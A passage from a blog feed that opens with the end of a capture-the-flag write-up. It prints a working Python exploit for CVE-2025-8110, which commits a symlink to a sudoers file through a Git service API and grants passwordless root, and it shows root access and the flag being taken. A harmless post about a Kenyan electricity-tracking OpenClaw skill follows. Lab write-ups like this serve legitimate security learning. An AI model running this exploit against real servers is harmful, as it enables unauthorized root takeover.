    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;auto_init&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Authorization&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;token &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;upload_malicious_symlink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;repo_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;clone_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scheme&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;://&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;@&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;netloc&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;clone&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;clone_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;symlink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc/sudoers.d/ben&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;malicious_link&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;add&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;malicious_link&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;commit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-m&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Poison&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;push&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;origin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;master&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;repo_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;repo_dir&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api/v1/repos/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/contents/malicious_link&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Exploit CVE-2025-8110&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ArgumentParser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-u&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--url&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;required&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;USERNAME&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;PASSWORD&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ben ALL=(ALL) NOPASSWD: ALL&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_application_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;repo_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;create_malicious_repo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;repo_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;upload_malicious_symlink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running the script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 new_exploit.py &lt;span class="nt"&gt;-u&lt;/span&gt; http://127.0.0.1:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. Final Escalation
&lt;/h2&gt;

&lt;p&gt;After the script reported success, we returned to our SSH session as &lt;code&gt;ben&lt;/code&gt; and verified our new privileges:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ben@silentium:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;

ben@silentium:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /root/root.txt
7a4a0316f8faed5f786a5febcfcd0040
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root Flag Captured!&lt;/strong&gt; Machine Owned.&lt;/p&gt;

&lt;p&gt;Lets Connect - Lewis Sawe: &lt;a href="https://www.linkedin.com/in/lewisawe/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Buy me &lt;a href="https://buymeacoffee.com/lewisawe" rel="noopener noreferrer"&gt;coffee&lt;/a&gt; ☕&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>I Made My WhatsApp Predict When My Electricity Will Run Out with Openclaw</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sat, 25 Apr 2026 17:10:27 +0000</pubDate>
      <link>https://dev.to/lewisawe/i-made-my-whatsapp-predict-when-my-electricity-will-run-out-with-openclaw-48eh</link>
      <guid>https://dev.to/lewisawe/i-made-my-whatsapp-predict-when-my-electricity-will-run-out-with-openclaw-48eh</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/openclaw-2026-04-16"&gt;OpenClaw Challenge&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;KPLC Sentinel&lt;/strong&gt; is an OpenClaw skill that tracks prepaid electricity for Kenyan households.&lt;/p&gt;

&lt;p&gt;Some context for those outside Kenya: electricity here works differently from most of the world. Instead of getting a bill at the end of the month, most Kenyan homes use a prepaid system. You send money via M-Pesa (mobile money), receive an SMS from Kenya Power (KPLC) with a 20-digit token number and the units you purchased, then physically punch that token into a meter box mounted on your wall. The meter counts down as you use power. When it hits zero, the lights go off. No grace period, no warning.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnat9hm6lrthbpy9yxpfy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnat9hm6lrthbpy9yxpfy.png" alt="KPLC Blackouts"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There's also no usage dashboard. No app that tells you how fast you're burning through units or when you'll run out. The only way to check your balance is to walk to the meter and press 20# on the keypad. Most people don't bother until the power cuts.&lt;/p&gt;

&lt;p&gt;On top of that, Kenya Power publishes a weekly PDF listing planned maintenance outages by area. If your neighborhood is on the list, you'll lose power for 8-10 hours on the scheduled day. These notices get posted on their website and sometimes shared on social media, but most people miss them entirely.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fff15q7h2684fngpdda1r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fff15q7h2684fngpdda1r.png" alt="Weekly"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;KPLC Sentinel fixes all of this. It tracks token purchases and meter readings, predicts when you'll run out, monitors your spending against a budget, spots usage patterns, and scrapes the KPLC maintenance schedule to warn you about planned outages. The whole thing runs through WhatsApp (or Telegram), which is how most Kenyans communicate anyway.&lt;/p&gt;

&lt;h2&gt;
  
  
  Architecture
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────┐     ┌──────────────────┐     ┌─────────────┐
│  WhatsApp /  │────▶│  OpenClaw Agent   │────▶│  SKILL.md   │
│  Telegram    │◀────│  (LLM routing)   │     │  (routing)   │
└─────────────┘     └──────────────────┘     └──────┬──────┘
                            │                        │
                    ┌───────▼────────┐      ┌───────▼───────┐
                    │   SOUL.md      │      │ entrypoint.py │
                    │ (personality)  │      │ (returns JSON)│
                    └───────┬────────┘      └───────┬───────┘
                            │                       │
                    Agent composes          ┌───────┼────────┐
                    response from     ┌────▼───┐ ┌──▼──┐ ┌──▼───┐
                    JSON + persona    │logic.py│ │parse│ │init_db│
                                      │(core)  │ │ r.py│ │  .py  │
                    ┌──────────────┐  └────┬───┘ └─────┘ └──────┘
                    │ HEARTBEAT.md │       │
                    │(6hr/weekly)  │  ┌────▼─────┐  ┌──────────┐
                    └──────┬───────┘  │  SQLite   │  │ KPLC PDF │
                           │          │ (local)   │  │ (remote) │
                    ┌──────▼──────┐   └───────────┘  └──────────┘
                    │ sentinel.py │
                    │ (alerts)    │
                    └─────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All data stays local. The only outbound network call is to download KPLC's maintenance PDF from their public website.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Used OpenClaw
&lt;/h2&gt;

&lt;p&gt;KPLC Sentinel is published on &lt;a href="https://clawhub.ai/lewisawe/kplc-sentinel" rel="noopener noreferrer"&gt;ClawHub&lt;/a&gt;. Install it with &lt;code&gt;clawhub install kplc-sentinel&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The agent is the brain, the scripts are the data layer.&lt;/strong&gt; This is the core design decision. The Python entrypoint returns structured JSON, not formatted text. The agent reads the data, applies the Stima persona from SOUL.md, and composes a natural response. The skill never prints a user-facing message. It returns things like &lt;code&gt;{"action": "balance", "runway_hours": 18.0, "estimate_source": "appliances", "tip": "avoid running the water heater"}&lt;/code&gt; and the agent turns that into "Stima yako iko na roughly 18 hours. That's tight — avoid running the water heater to stretch your units."&lt;/p&gt;

&lt;p&gt;This matters because it means the personality, tone, and language all come from the agent, not hardcoded strings. The same JSON data could be presented differently depending on the SOUL.md persona, the user's language preference, or the chat platform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Natural language in three languages.&lt;/strong&gt; The SKILL.md routing table maps natural language to commands. Users can say "stima itaisha lini?" (Sheng), "nimebakisha units ngapi?" (Swahili), or "will my power last until Monday?" (English) and the agent routes all three to the balance check. No translation code in Python. The agent handles it because SKILL.md tells it how to map intent to commands.&lt;/p&gt;

